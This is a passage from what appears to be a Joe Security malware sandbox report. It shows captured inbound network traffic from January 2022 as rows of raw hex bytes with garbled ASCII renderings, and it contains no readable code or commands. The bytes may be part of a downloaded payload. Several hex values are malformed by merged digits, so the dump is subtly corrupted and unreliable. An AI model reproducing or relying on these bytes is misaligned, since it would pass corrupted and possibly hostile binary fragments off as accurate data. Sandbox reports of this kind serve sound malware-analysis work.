2022-01-15 19:23:32 UTC 5611 IN Data Raw: 50 68 bb 00 c0 c6 a2 00 11 c7 a2 00 58 68 bb 00 20 c7 a2 00 59 c7 a2 00 60 68 bb 00 60 c7 a2 00 b1 c7 a2 00 68 68 bb 00 c0 c7 a2 00 65 ca a2 00 70 68 bb 00 70 ca a2 00 ef ca a2 00 80 68 bb 00 f0 ca a2 00 4c cb a2 00 88 68 bb 00 50 cb a2 00 8f cc a2 00 90 68 bb 00 90 cc a2 00 53 ce a2 00 b0 68 bb 00 60 ce a2 00 a6 ce a2 00 d4 68 bb 00 b0 ce a2 00 f6 ce a2 00 dc 68 bb 00 00 cf a2 00 57 cf a2 00 e4 68 bb 00 60 cf a2 00 d1 cf a2 00 ec 68 bb 00 e0 cf a2 00 26 d0 a2 00 f4 68 bb 00 30 d0 a2 00 55 d0 a2 00 fc 68 bb 00 60 d0 a2 00 b7 d0 a2 00 04 69 bb 00 c0 d0 a2 00 17 d1 a2 00 0c 69 bb 00 20 d1 a2 00 c5 d1 a2 00 14 69 bb 00 d0 d1 a2 00 f3 d1 a2 00 1c 69 bb 00 00 d2 a2 00 f0 d4 a2 00 24 69 bb 00 f0 d4 a2 00 74 d5 a2 00 4c 69 bb 00 80 d5 a2 00 a5 d5 a2 00 54 69 bb Data Ascii: PhXh Y`h`hhephphLhPhSh`hhWh`h&h0Uh`ii ii$itLiTi

2022-01-15 19:23:32 UTC 5627 IN Data Raw: f0 17 a6 00 4d 18 a6 00 b8 a8 bb 00 50 18 a6 00 ac 18 a6 00 c0 a8 bb 00 b0 18 a6 00 33 19 a6 00 c8 a8 bb 00 40 19 a6 00 fe 19 a6 00 d0 a8 bb 00 00 1a a6 00 71 1a a6 00 d8 a8 bb 00 80 1a a6 00 ce 1a a6 00 e0 a8 bb 00 d0 1a a6 00 13 1b a6 00 e8 a8 bb 00 20 1b a6 00 69 1b a6 00 f0 a8 bb 00 70 1b a6 00 22 1c a6 00 f8 a8 bb 00 30 1c a6 00 ec 1c a6 00 18 a9 bb 00 f0 1c a6 00 18 1d a6 00 24 a9 bb 00 20 1d a6 00 56 1d a6 00 2c a9 bb 00 60 1d a6 00 88 1d a6 00 34 a9 bb 00 90 1d a6 00 1c 1e a6 00 3c a9 bb 00 20 1e a6 00 8d 1e a6 00 48 a9 bb 00 90 1e a6 00 b2 1e a6 00 50 a9 bb 00 c0 1e a6 00 da 1e a6 00 58 a9 bb 00 e0 1e a6 00 a8 1f a6 00 60 a9 bb 00 b0 1f a6 00 8c 20 a6 00 90 a9 bb 00 90 20 a6 00 b8 20 a6 00 98 a9 bb 00 c0 20 a6 00 0f 21 a6 00 a0 a9 bb 00 10 21 a6 Data Ascii: MP3@q ip"0$ V,`4< HPX` !!

2022-01-15 19:23:32 UTC 5643 IN Data Raw: 4f 49 a9 00 88 ee bb 00 50 49 a9 00 1a 4a a9 00 9c ee bb 00 20 4a a9 00 48 4a a9 00 a4 ee bb 00 50 4a a9 00 a7 4b a9 00 ac ee bb 00 b0 4b a9 00 aa 4c a9 00 b8 ee bb 00 b0 4c a9 00 52 4d a9 00 c0 ee bb 00 60 4d a9 00 6c 4e a9 00 c8 ee bb 00 70 4e a9 00 97 4e a9 00 d0 ee bb 00 a0 4e a9 00 84 4f a9 00 d8 ee bb 00 90 4f a9 00 19 50 a9 00 00 ef bb 00 20 50 a9 00 6b 50 a9 00 08 ef bb 00 70 50 a9 00 b4 50 a9 00 10 ef bb 00 c0 50 a9 00 ed 53 a9 00 18 ef bb 00 f0 53 a9 00 80 55 a9 00 24 ef bb 00 80 55 a9 00 ce 55 a9 00 30 ef bb 00 d0 55 a9 00 2a 57 a9 00 38 ef bb 00 30 57 a9 00 80 57 a9 00 48 ef bb 00 80 57 a9 00 c9 57 a9 00 50 ef bb 00 d0 57 a9 00 64 58 a9 00 58 ef bb 00 70 58 a9 00 6a 5d a9 00 60 ef bb 00 70 5d a9 00 43 5e a9 00 70 ef bb 00 50 5e a9 00 4b 5f a9 Data Ascii: OIPIJ JHJPJKKLLRM`MlNpNNNOOP PkPpPPPSSU$UU0U*W80WWHWWPWdXXpXj]`p]C^pP^K_

2022-01-15 19:23:32 UTC 5659 IN Data Raw: ba 85 21 05 64 66 1d 5d 64 1d be 3f f1 cf 1d 19 84 1e 04 2e 16 d3 f4 b4 3d 69 4e ae 62 14 bb 98 fa e0 8d dd 33 9d 6e e7 5c f9 e4 6c 07 90 05 18 a0 1c 38 be 92 cc 77 28 f9 27 df 26 18 8d 39 97 08 bb aa 43 35 f8 af b8 7a a0 6d c5 20 cd 65 e7 53 c0 a3 96 c0 9e 3b 1d 08 4f fd 0b 13 d3 82 4a 46 4f e7 97 73 45 5b da ac 95 75 9c e6 60 89 c4 bf d3 c9 fe b8 e1 4b 3e 41 fa ec d3 b9 1f de a7 1c 35 b7 52 63 05 36 c8 57 b6 69 d3 f2 81 b4 36 eb 20 a9 e7 77 fd ea 7c bf d0 af 34 fd 15 b4 4d c9 d1 cd 5f 74 a0 1f fe 35 62 99 cd fa 6f d2 1a a2 dd bf 79 2b 32 b0 1a 71 d4 8a 84 f8 8f 8e c3 4a bf 92 5e 2d e1 cd 29 1d b4 2d 45 f6 04 05 d6 80 14 56 71 98 4b c2 c1 c2 87 9d 4c 44 97 d1 15 60 3d fd 1c c8 b4 c2 ff 71 cd dc 7b 01 59 1c f34d ed 00 88 46 dc ff 19 f5 19 7b 57 c8 20 4c Data Ascii: !df]d?.=iNb3n\l8w('&9C5zm eS;OJFOsE[u`K>A5Rc6Wi6 w|4M_t5boy+2qJ^-)-EVqKLD`=q{YMF{W L

2022-01-15 19:23:32 UTC 5675 IN Data Raw: dd c3 c6 bc d0 ad e1 f3 ef 1a ff 35 c5 b7 81 e8 ea 5a 6f 3c 8d 36 ce 21 cc 5c b4 08 71 42 12 0a 63 19 de 49 91 2d 7d c6 2a d8 e7 d0 90 c6 bb 00 d3 dd aa 75 4f 0c 1c 2f 68 e9 66 79 98 78 2b 5a 85 4e e1 d8 ba 19 20 4b 68 07 54 3f cf ae c9 81 00 6d e6 89 1f b0 0d 0b dd b7 f3 44 83 d6 1f a3 b6 8d fb a6 46 67 30 53 9d 23 98 34 2e 88 37 29 f8 34 10 ea d9 2e ac 86 a9 b2 01 b9 69 56 87 bd c3 cf 16 9f d3 b8 1d 6f 63 9d 0b 33 ef 60 3d 6c 78 43 38 bb 2c 47 56 72 7d 6b 54 e1 4e 73 b9 8c b0 b8 8d b3 1e f2 e0 60 1c 82 b7 a0 bc ca 0a 0b 92 74 12 e9 fe fe 14 01 ba 23 c1 4e ac 05 29 34 bc 48 f6 06 b3 98 f3 07 2f c6 0f bd e8 e3 fd 45 d3 a7 96 1e 7b cf e7 d8 26 ca 0b 5f 15 5c 86 cf b2 40 c2 ce e0 da d0 2b 68 b4 b4 79 a9 8c 03 10 57 8a 4d a5 bd 78 d5 e8 48 97 3d 1c e0 15 fc Data Ascii: 5Zo<6!\qBcI-}*uO/hfyx+ZN KhT?mDFg0S#4.7)4.iVoc3`=lxC8,GVr}kTNs`t#N)4H/E{&_\@+hyWMxH=

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 67 of 103

2022-01-15 19:23:32 UTC 5691 IN Data Raw: 47 d6 2d 1b d6 c4 86 64 a8 0d a4 c8 6a cd 56 1c 17 9b 60 c6 04 4f b5 03 4c 90 ef 3a 56 87 f3 e7 9b 35 9d cf 35 4e cf 04 7d 79 53 bc 87 8c de 52 f3 4c 02 8e e8 0c 6e ef 7a 44 29 9a 19 0e 96 00 1f dc 2e cd 3b 24 b8 6b 7a 48 b1 d0 fa a0 36 87 bb 12 ba bd 19 ba 60 c0 d3 d9 39 f7 2d da c1 b4 b8 fa c2 80 b9 bf ad 8f 3b f2 c0 04 ca 5c b8 cf 3d 44 63 52 63 a7 cd ae f8 c6 f0 e4 80 e0 ea fc 77 81 42 2b 0f 44 bc 79 2a d5 55 7b 1f b1 ea 9b c4 d1 52 cf bd da c2 f8 94 3a 92 9f 49 75 0d 2c 2c 18 ac b0 8d a9 ab 13 ce d0 38 0e 93 a6 ff 04 88 c9 8b d1 73 dc 43 3b 37 72 fd bf 25 c4 99 be c0 3e 1a 59 14 43 63 7f 62 a9 75 59 45 37 29 23 28 83 c9 8d 5d f8 be 1b d2 e2 fa a8 87 23 e2 84 c8 07 55 08 e5 c8 2b 94 20 95 af 29 10 c7 42 32 67 39 d2 2b dd 4b e0 6b 48 ac c2 6b 58 27 3e Data Ascii: G-djV`OL:V55N}ySRLnzD).;$kzH6`9-;\=DcRcwB+Dy*U{R:Iu,,8sC;7r%>YCcbuYE7)#(]#U+ )B2g9+KkHkX'>

2022-01-15 19:23:32 UTC 5707 IN Data Raw: 1f 89 c0 a5 f9 18 55 9a d6 a4 22 3a 2f 91 0b 20 e0 5b 57 4d 09 18 af 32 f0 12 a6 56 90 09 22 4d 1d 1e b9 23 25 cd 01 80 d3 d5 f2 dc 4b 03 eb ec 84 ba 5b 9c 8a da 46 22 8f e5 09 de c8 d2 93 eb 2d 0c c6 50 f8 92 99 3c 4b e6 cd 94 28 54 4f 24 6c af 75 84 b7 2c c7 47 3a bc 30 04 12 5e 35 27 6a 02 8a d4 f3 90 28 bc 9f d2 4d a1 c1 95 f6 d3 54 0c d8 e8 b6 8c 8f 8d eb b3 56 5c 78 73 02 9e f9 05 98 35 73 9f 99 9c e4 ca 39 63 87 7f 69 54 99 55 b3 56 c8 54 55 5f 28 bf 0e 09 7c 43 fd 2b b0 03 68 bc cd 4c 64 82 bc ca 37 86 65 bc c6 e5 e9 68 95 9f 02 48 fd 42 f7 fd 98 5d c1 ac ae 09 80 2a 25 f4 39 2e d4 0f 32 81 23 2e 51 b8 44 4a dc 79 eb 87 97 b2 3d 9f 6b 44 30 46 c8 18 90 52 98 2a be f1 e4 06 5c 6e 6f 68 e7 52 bd 93 29 3c c9 b0 86 3e d2 90 62 6a ff 70 d8 56 1e 9d 00 Data Ascii: U":/ [WM2V"M#%K[F"-P<K(TO$lu,G:0^5'j(MTV\xs5s9ciTUVTU_(|C+hLd7ehHB]*%9.2#.QDJy=kD0FR*\nohR)<>bjpV

2022-01-15 19:23:32 UTC 5723 IN Data Raw: e3 80 b5 6e a4 d3 59 93 87 ef 66 47 04 65 c5 88 ad 16 26 13 b8 e4 df 41 b0 5f b4 53 1c d9 7c b6 8f 41 09 bb e8 e6 ad 33 7b d0 00 5c 3f d4 08 54 77 39 dd 21 58 b9 0a e5 4d 80 27 0e e6 49 c5 3c 4d 59 5c 46 88 28 21 c4 c6 9c 3d 50 33 80 e7 84 b7 43 6f f1 f9 60 46 80 a2 25 ef 0d 0c ec 65 04 a4 15 9f 07 d1 05 ad 0f d4 fd 9a e7 33 3a 04 c4 d8 d1 07 02 bf fe 3f cc 47 ce 3d 47 b8 b9 ad f3 23 e0 58 d1 2f a7 96 8e 46 f4 ca dc 10 7a e6 88 1d 3e 1a 1d c0 e0 35 79 54 5b 4e fb 9a d6 e6 13 f0 fe f4 8d 5f 48 80 02 90 d8 3c 14 5d e5 af 1c 79 4d 84 c8 7c 45 5d 30 1d ca 3f 4c 35 09 a1 20 28 41 ff 24 31 da c9 41 65 e7 cd 8b 3c e9 ac 40 7e c0 c7 49 3e 17 bf 97 3f 54 ad c4 30 c7 3d 2e 33 4c be 0d 76 cd a5 43 d1 dd d0 cb 09 2c 71 83 6c aa a0 21 83 28 4e 23 5d 3e eb f4 fa ef ce Data Ascii: nYfGe&A_S|A3{\?Tw9!XM'I<MY\F(!=P3Co`F%e3:?G=G#X/Fz>5yT[N_H<]yM|E]0?L5 (A$1Ae<@~I>?T0=.3LvC,ql!(N#]>

2022-01-15 19:23:32 UTC 5739 IN Data Raw: c8 c1 55 b0 79 12 51 9a 69 11 97 a5 76 34 2d 45 40 4e b0 7a 2d 88 0d 67 90 2d af 8c bf e1 98 8c 75 3a a8 fa 5b 5c a8 8f c6 e3 8b 14 17 d1 4c 17 1b a0 91 52 a1 1c 81 d4 2c 76 95 57 2e 17 46 d5 85 a6 82 1d b6 5e 6b e3 f7 00 d9 2f 10 1e 02 68 22 80 e6 6b f4 cd e6 87 b1 3f 27 67 bc 5f a8 5b 9c fa fd 56 c6 3f 8c 76 2e 73 b6 57 96 b4 68 86 7e bb 29 24 17 35 e7 a7 50 c5 ff 43 49 34 b1 fd c0 ef 04 5d dc f8 04 26 d8 c8 9d 79 7c 97 5d 93 60 2a 90 f5 fb 56 96 16 d2 4c b5 67 2f ad 22 07 48 3b c6 54 ad f4 b4 5c 17 bd 8e 79 21 8b d1 69 4a 5b 5c a7 14 a0 e6 47 80 61 af ca 94 e9 d4 09 f8 99 77 29 c8 1c 02 5f 54 27 f4 49 97 50 22 1b c0 6a 26 dc 16 84 df 65 fe b9 45 8f 5b 2c 07 66 a8 c5 b3 cd 39 80 b2 af f0 b6 e2 10 85 d3 6d 81 33 d8 e2 ae e2 c8 8e 10 bb e3 6d 97 31 8d d1 Data Ascii: UyQiv4-E@Nz-g-u:[\LR,vW.F^k/h"k?'g_[V?v.sWh~)$5PCI4]&y|]`*VLg/"H;T\y!iJ[\Gaw)_T'IP"j&eE[,f9m3m1

2022-01-15 19:23:32 UTC 5755 IN Data Raw: 92 3b 89 2f d0 05 3b 31 49 70 b4 20 b5 d9 41 8f de 85 76 ad 88 2f 55 62 3b 2f d4 0c 53 44 fa fe 8c ed 07 83 38 24 1d a4 ea 73 fc c0 04 c5 42 d4 69 f1 94 9d e9 dc bd bc a6 3e 02 65 49 f2 78 75 13 c5 71 89 4d f6 e9 ad 37 73 84 95 61 7d b0 8c 01 98 42 8d fd 5f a3 0d e0 f2 8e 48 f4 bf 41 c4 3f 26 bd 6d bb e3 d9 53 72 a2 84 0c ff 20 a2 4e c0 3e 91 82 38 4e 0e 0a e8 40 c2 23 86 c5 aa 69 34 42 44 91 46 32 bd e7 97 7c 58 fe 75 f0 bb 08 7a 74 0f 4b 31 04 9c 32 47 15 73 57 38 20 4a 0d d4 ab 7a 72 2d c6 9a 12 f4 93 e1 66 f8 f8 9e 6e 60 96 91 0c 9c 1a 37 67 be 34 ce 0c dd e7 e6 43 10 ce 72 ae 2c 46 8b fb b7 e8 be b0 b8 d7 54 ad 1d c5 8d 86 8c c2 6d 65 27 c0 94 f2 38 a1 c2 c5 9e 83 af 0c e0 25 b4 4d b8 d5 4f 61 3b 4b 22 8f 63 6d c7 fc 9c 2e 30 0c d5 11 4b 01 3b d1 25 Data Ascii: ;/;1Ip Av/Ub;/SD8$sBi>eIxuqM7sa}B_HA?&mSr N>8N@#i4BDF2|XuztK12GsW8 Jzr-fn`7g4Cr,FTme'8%MOa;K"cm.0K;%

2022-01-15 19:23:32 UTC 5771 IN Data Raw: 39 d7 a0 02 85 ef 67 a0 70 42 7c 0c 77 0a 23 6a 1c 03 2e 0c 25 b0 6e ed 7c 51 be c2 38 8d ca 18 bc 00 ad 15 ec ca 52 9a ea 74 3d 36 14 a1 97 0b 39 5e 55 29 5a e8 40 db d4 b0 69 0c f8 55 af 7e ab a4 65 28 38 20 6e 3c ae 3f eb 74 47 c4 c8 24 c8 29 80 f3 e2 b5 0b a0 38 71 ca 07 32 00 6b c7 91 fe e1 87 38 2b c9 30 a3 75 17 b4 37 c7 38 ab ec 85 84 7a fa a3 8a 12 4b 95 50 87 94 61 bd 0f ce 83 9c fd 41 d9 bd ae 6a 0c 30 85 0b e1 1c 0c da 7a f1 bd 15 8a ab f0 38 31 28 cc 57 e7 38 8f 13 3d fb 02 08 8d e9 ac 3c 2c b0 b2 b8 65 5a 47 d9 c5 ab ca ae 5b ef 9d 18 4c bd ce 54 ec f1 78 1f c3 1b b4 38 cb 50 d6 a7 4e fd 71 e1 ef 28 bf 3f b7 cc 73 1e 5b dd 34 03 77 60 0c b6 ad 72 c7 4c 57 99 65 38 bd 54 02 a4 6e 14 f0 67 c5 94 a6 8f 49 87 a1 ed 66 ce 6c 38 8a 69 fe 8d fb d3 Data Ascii: 9gpB|w#j.%n|Q8Rt=69^U)Z@iU~e(8 n<?tG$)8q2k8+0u78zKPaAj0z81(W8=<,eZG[LTx8PNq(?s[4w`rLWe8TngIfl8i

2022-01-15 19:23:32 UTC 5787 IN Data Raw: b3 44 9e 68 53 96 9c fb c8 56 db 0c 2a 5c d5 5a 41 60 a5 b5 36 64 58 71 6b 45 69 c3 00 a7 cd 09 3d 08 15 10 a8 05 5e ff b0 29 bd fe 47 50 ed 5e e1 d0 73 0c 7b 67 e7 a9 c7 a3 bb 6e 38 c6 82 c5 eb 2a 53 17 ed c5 e1 ac 8d 1b 37 12 e0 48 bd 2e 08 69 0a 6a 6b 86 0c 0c b4 da af c1 1e 3a 5e 46 38 7a b4 83 0b e9 9e 19 d2 bc 98 0c f3 91 a2 d4 81 29 25 01 00 b8 89 8c db e5 86 52 9a 0e fe 0c 60 98 ee a2 d4 3e 4c c8 38 df d3 a0 c1 43 df 49 f8 c2 c9 1c 8e e4 18 0c b9 40 ea e5 3a 45 f9 34 c2 a7 02 4c a8 69 24 0c a9 66 2f 14 54 75 9a df 25 b1 04 e1 f9 1e 05 62 9c 4e 6d 0a b7 db a7 45 4e c5 40 39 32 5b 53 3f 38 92 c8 a1 69 2e 5c 86 68 c5 d8 21 62 f3 62 49 ef 02 be 9f 6c 44 17 20 6f 61 7d 70 55 da 14 0c 71 1b 67 14 e9 d7 8c 10 38 80 46 83 0e 1d 1c 1a a8 c5 37 d2 19 fc 50 Data Ascii: DhSV*\ZA`6dXqkEi=^)GP^s{gn8*S7H.ijk:^F8z)%R`>L8CI@:E4Li$f/Tu%bNmEN@92[S?8i.\h!bbIlD oa}pUqg8F7P

2022-01-15 19:23:32 UTC 5803 IN Data Raw: 4b 27 47 7e 81 c5 a7 4e 52 58 f1 fb 9d 8e 92 ba c7 bf b1 0c 7f 8f 4b a1 3b 5b bc ca 2e 32 ae b4 38 10 68 d7 8d 90 b1 0c 5c f1 07 5f c1 17 c5 f1 38 56 25 7a 32 fa 95 79 8b c5 f0 88 42 c3 e9 10 cc 32 bd d9 d6 2e 75 78 b6 1b 6f 0c 39 8d 95 fc ec 0b b1 2a 38 ee a8 ce 79 5d e5 14 b6 c6 1a 56 ad 23 ed 61 c8 5f 6f dd 26 1b a4 1f 39 29 f2 a7 ce b5 8d 08 34 da c9 f1 3a 06 4e 11 31 91 35 66 17 26 bd 3f 43 4d ca bc 79 a6 a3 0e 46 29 78 67 5e 1e dd 5d 2d c3 bc 37 5d 81 ef 77 f3 69 55 3c 29 c5 f3 e6 4b 03 45 d9 8c 6f bd 16 fc da 15 5c 8e ff 65 0c 0c 21 4a c6 64 e5 09 68 3a 52 3b ed 13 17 f6 4c f2 f6 78 20 5d 58 d4 03 96 e8 5a 82 b9 06 a0 4d d0 f2 fe e6 38 3b 18 42 50 f3 f7 07 b6 c5 dd cd a9 77 f6 af 08 01 bd 57 c0 9d fb 78 e2 56 1d 0c d1 5e 57 be 65 f8 39 8f ce 4d be Data Ascii: K'G~NRXK;[.28h\_8V%z2yB2.uxo9*8y]V#a_o&9)4:N15f&?CMyF)xg^]-7]wiU<)KEo\e!Jdh:R;Lx ]XZM8;BPwWxV^We9M

2022-01-15 19:23:32 UTC 5819 IN Data Raw: 74 ac 81 bb e8 87 09 0c c5 ef 24 fc ba 2a a3 b6 39 75 c0 e1 cf 43 c5 6f fa 9e dd 5e 46 a5 4d dd 04 45 b4 64 38 55 b2 49 ce 1b a1 69 1d b8 e0 0e 6b ce ba 18 0a 56 5d cc 29 84 a3 5e 57 e9 7a d8 12 6b dd 90 d2 c6 17 0c f1 17 a1 59 91 8c ff f5 3b 9a f8 4a b6 06 3c ad a7 e6 4e cc fe 2a 00 52 7f 34 d7 d8 77 6a b3 22 57 6e fd cc 17 3f e5 a2 c6 c5 95 0f 70 b6 fa f8 08 4c 53 02 4d e3 bd d3 8c c1 85 35 2c 84 cc 13 50 3d 5e 68 53 c5 25 4e a1 19 64 c9 24 9a b4 5f ff 74 df e1 66 a5 cd 29 cd ea 9e 0f 93 ad 62 aa 55 b4 1e 83 d0 41 63 2a 38 f3 e0 32 ff 49 7f 53 ad c5 41 59 25 3e 85 89 c9 71 bd 45 39 6d dd 5c 7e 52 6b 0c 24 e2 0d b9 d5 ac 41 fc 06 e0 70 c4 64 c5 9b f1 08 0f dc a1 f6 e2 fe 73 48 48 bd 0d ac f2 7e 4a 46 5b ac 0c fd 60 76 25 01 75 11 d9 3b e4 d9 5b a4 e2 9f Data Ascii: t$*9uCo^FMEd8UIikV])^WzkY;J<N*R4wj"Wn?pLSM5,P=^hS%Nd$_tf)bUAc*82ISAY%>qE9m\~Rk$ApdsHH~JF[`v%u;[

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 68 of 103

2022-01-15 19:23:32 UTC 5835 IN Data Raw: 10 69 95 83 a8 ed 15 a8 9c a8 f6 3c 51 55 47 3c 58 a2 18 61 fc f5 d6 29 08 5a 2d 70 1b e6 95 ee 2a ed aa 9c 10 7b 9e 24 62 58 1b 68 b0 e0 23 6c b0 ed ce d0 06 55 85 b5 5b a5 59 22 12 ee ed 8d f3 db dd 75 ee 4a ad 24 d0 ed 38 e1 82 ed 2d b6 28 7e 2e fe 10 f3 40 13 1b f5 d2 dc d0 f5 38 68 1c fa 39 ff 1d b9 5f 4e 1d 37 8d 1b fc f5 d6 40 51 6a ff 1c ea bf 8d 2d 08 0a cd f6 7a fd 59 83 08 55 97 b4 68 6a 3c 28 08 bd 03 16 b7 d5 8d e4 08 40 5f 9c 08 9c 2d 78 19 7e 2e e8 08 a8 47 19 a9 e0 51 c8 7a e7 0c db 1c df ad e9 24 7d 44 4e 6b 1a 2c d6 ba 4f a7 26 2c be 28 4e 13 41 9f 29 57 d4 4a 01 9f e1 98 66 29 a2 e9 ad 4d e0 b6 c8 ea 27 c4 37 96 e8 1d 26 5e 2c 7d 28 68 d3 ec 29 df 04 f4 73 61 55 cf 79 44 a9 5c 90 a2 c0 b9 b2 ee 16 b3 de 3a 7e 5b c4 ac 6b a8 6c 3c 99 de Data Ascii: i<QUG<Xa)Z-p*{$bXh#lU[Y"uJ$8-(~.@8h9_N7@Qj-zYUhj<(@_-x~.GQz$}DNk,O&,(NA)WJf)M'7&^,}(h)saUyD\:~[kl<

2022-01-15 19:23:32 UTC 5851 IN Data Raw: d2 54 00 ae 08 82 c7 d9 07 0f 93 18 95 3b aa 50 a6 d1 e8 ad 91 b0 59 10 ca 77 56 de 82 fa 3e ed ad c4 b3 2f b2 55 bb 88 9d 93 44 19 fd 80 2d a3 98 fc 35 e3 07 1b 9e 91 a0 ff 71 7e 26 60 9f e9 27 e4 a3 79 2f ea 96 f3 06 2c 89 5b f4 79 bf a1 2c d2 17 91 c9 6a 46 72 7b 62 66 e1 c2 9a d7 61 3c 47 9d 37 13 e4 9d 2f bc 91 28 55 5d 64 3f 2b e3 75 4e ae 03 72 42 38 05 af c6 de 93 ec 6e ab c3 1c c9 5a e9 fb 43 b4 26 69 9d 42 4d 0e 3c e8 d7 0f 37 b2 ae 66 06 79 b6 81 aa 29 14 2e 8f 15 c0 2e 8c 95 95 95 56 13 ad 34 47 ac 19 44 b2 1c 57 e3 1a 2f 8f be 1a 2b ec 2b e8 72 69 02 29 19 a4 ba d1 2e 7d 69 e6 a2 54 3e a8 69 64 fa d1 41 03 20 96 60 d7 8f 45 78 d7 79 b2 2b ba 49 a1 51 7f 43 85 f2 7c 3c ff 51 6b a9 6f c3 63 4d d0 48 a0 db f5 7e 24 b3 b9 11 b8 b8 2d f3 8b 9f 1c Data Ascii: T;PYwV>/UD-5q~&`'y/,[y,jFr{bfa<G7/(U]d?+uNrB8nZC&iBM<7fy)..V4GDW/++ri).}iT>idA `Exy+IQC|<QkocMH~$-

2022-01-15 19:23:32 UTC 5867 IN Data Raw: 41 ef ca ac 39 57 02 ca 01 f4 c9 46 e4 1c 61 37 60 c7 bd 53 2b 50 fb 6a 7d 05 82 64 10 c2 49 de e2 e6 dd e2 33 ff 50 0b 9a a6 b8 bd 9d f5 17 4d d1 4d 4f b0 38 fa 39 d3 6c 5e ec 01 2f c5 05 24 ab 1b 50 63 b7 ba bd 76 b6 48 89 a8 0d ae 94 78 61 75 46 10 05 4e 06 cc 64 ac 82 17 e1 af bd e4 14 fd f6 a6 ae 3a 26 0f b7 c7 ee cc 34 ed bd de 8e 7b 74 dd 09 09 f6 72 58 c5 1e a6 a3 12 c0 be aa e5 bd 86 04 69 5b 6a 63 8a 7f 36 15 78 80 0e 05 5c bd 37 4c 20 57 65 83 7b bd 75 8d 97 9a 60 25 e8 32 36 17 51 bd dc ea a6 81 89 ba 1f bd d1 c8 75 2e cb e3 d7 5c 0c 0b d4 6e 3c dc b1 30 52 38 de 7e fe 65 c1 31 20 8c c5 ff ff 54 56 15 39 17 5a bd 58 2f dd 0f ae 95 46 98 0c fd e3 99 6d d2 44 e1 d1 69 f7 16 2c ae b2 a1 f9 bf 83 7e 79 01 27 ea 87 d3 6d ed 89 13 c4 33 76 12 d3 66 Data Ascii: A9WFa7`S+Pj}dI3PMMO89l^/$PcvHxauFNd:&4{trXi[jc6x\7L We{u`%26Qu.\n<0R8~e1 TV9ZX/FmDi,~y'm3vf

2022-01-15 19:23:32 UTC 5883 IN Data Raw: aa 93 0c 6f bd 90 89 70 6c 85 34 99 70 88 b9 47 28 3a 67 23 74 fd e7 2d 2f b1 81 2e 20 56 30 b0 20 ea a9 8f e4 b7 fd 50 27 d7 30 2c 60 8c 94 cd cd 9d d5 e5 1d ee 9d 5c 80 4b f1 4f a8 e4 9a 43 c4 a4 03 cb 11 c7 8a 4d 5a fc af 6a e5ba 31 82 7a 86 35 2a 25 b5 bf 09 26 ba 9f 9a b0 07 df 9f b0 d5 fb d5 7a e5 f5 d0 1e ed 55 56 ac 7c 40 3f 2e 14 d5 97 44 29 71 95 20 5c 83 f6 08 e4 56 1b a9 aa d7 4b de c0 0f 7c 08 70 a6 91 b5 0c 2a 2c 03 5b f9 05 3d 2e f5 1b 10 51 be e4 2f a7 4f4b 23 69 1a 02 7b d2 9c d7 b1 85 b5 f5 33 06 06 06 a6 8f c2 9c 8a fb 38 8b b3 85 ad fd 38 28 fd 22 95 42 2d 11 b0 e5 c4 f432 99 32 42 c2 fc b8 3e 15 84 76 08 a9 3e 1f a3 ec 2f 64 24 18 cf 2a f3 7d c3 b8 4e 08 5c 35 a4 3c 7c 40 1c c2 8f 12 87 d2 e0 83 fb 02 c4 e2 57 38 fd 69 21 b2 41 02 Data Ascii: opl4pG(:g#t-/. V0 P'0,`\KOCMZj1z5*%&zUV|@?.D)q \VK|p*,[=.Q/OK#i{388("B-22B>v>/d$*}N\5<|@W8i!A

2022-01-15 19:23:32 UTC 5899 IN Data Raw: 47 84 02 4e 52 a1 f1 12 fd 6e 47 44 97 3f 3f 05 be b0 88 a1 aa 04 e8 e9 31 cc c9 62 2f dc fc 60 7f 2e b3 dd ab c8 9f ed 31 f7 92 f3 5e 77 87 b1 dd 96 00 d9 49 be 73 91 2c 2c a6 f6 72 73 51 da 88 37 bf 3f 4c c9 b0 08 8a c3 9c 09 4d f4 d7 c0 6e d7 2a 7a 86 aa cf 3d 07 47 ad 71 4f 56 33 d1 73 61 1e e5 6d cb ed 1d f6 5e a0 09 9c 5c 5e 9b ac d9 94 9c 90 ce 8f 64 5b 30 db f0 17 ae 7d ec ef 89 bf 99 ac 0c 9c 19 6b 55 3d b7 17 45 69 b0 f3 9a 7a 62 6c 86 fd 53 d5 b9 38 41 a0 6f 27 93 1c ca bb e8 a0 57 be f4 a2 4c c8 4e cc b2 b4 61 2d af 19 90 6d ac 63 da f0 ce f4 da 03 e0 68 1b 78 e0 c4 1c 69 9a 4b d9 43 45 f4 52 3c 81 ca b6 1c 35 17 d0 f2 c6 97 80 32 d5 9e 47 26 c7 ae 80 72 dd 19 1d 93 b7 99 08 28 f4 b6 13 20 f0 3c 04 79 cd 80 82 95 ef cc c3 5d e5 99 39 0a e1 e4 Data Ascii: GNRnGD??1b/`.1^wIs,,rsQ7?LMn*z=GqOV3sam^\^d[0}kU=EizblS8Ao'WLNa-mchxiKCER<52G&r( <y]9

2022-01-15 19:23:32 UTC 5915 IN Data Raw: 9f 81 86 39 b1 27 d6 87 f8 57 63 6c 28 95 e3 88 29 44 89 a6 e3 97 4c 9d 58 f7 ed c8 f1 45 95 45 95 8b 4c d3 730c af b6 b8 23 8d a4 18 87 e2 71 df da 79 4f 59 e9 e2 4e b8 79 ce 4e 59 41 d3 8c 12 52 0b bc ba 21 ae 42 a1 49 a3 1b ea 7c dc 49 f9 4c 8c 8c 5f 67 2d 19 b2 12 d9 e8 6a f0 97 cd 70 e5 50 dc 2c f3 ff 8c bc dd df 34 b8 40 df 3a 5a d3 fa 8c 8c 4a 6d 35 21 07 1c 05 b8 ca ad 20 d1 24 93 8c 34 1a ff 10 8d 26 dd c8 8f a5 9e 06 a4 ad af 4e 15 41 49 73 03 d4 8e 21 fd d7 3d c2 b8 34 50 73 22 fa 5c 4e d9 ce 3d 02 dd f4 b2 4e 42 cd a5 9d 36 03 8e 2f 9d c8 b9 35 d1 56 37 00 28 9f c7 ce d3 d8 4c 4b f8 8c 0b 8c 19 15 dc 36 99 b2 ab 45 95 c2 13 1f 34 a1 91 c5 26 87 ca 86 7c 8c 68 9d 6d 15 03 1e 2c b2 83 6a 76 ea 1d 1c bf a7 39 e6 4e fb ad e0 16 64 77 7a 23 41 af Data Ascii: 9'Wcl()DLXEELs#qyOYNyNYAR!BI|IL_g-jpP,4@:ZJm5! $4&NAIs!=4Ps"\N=NB6/5V7(LK6E4&|hm,jv9Ndwz#A

